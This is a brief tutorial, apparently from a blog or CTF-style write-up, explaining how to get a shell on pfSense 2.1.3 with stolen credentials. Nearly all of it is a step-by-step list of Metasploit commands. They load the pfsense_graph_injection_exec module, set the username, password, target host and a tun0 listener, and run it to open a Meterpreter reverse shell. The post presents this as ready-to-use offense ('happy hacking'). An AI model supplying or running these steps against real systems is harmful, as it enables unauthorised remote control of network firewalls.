How To Upload A Shell In pfsense 2.1.3 (Authenticated)

After getting the credentials, fire up Metasploit

enter these commands in metasploit

use unix/http/pfsense_graph_injection_exec
options
set username <USERNAME>
set password <PASSWORD>
set RHOST <Server IP>
set LHOST tun0
run

A Meterpreter shell will pop up! happy hacking 😀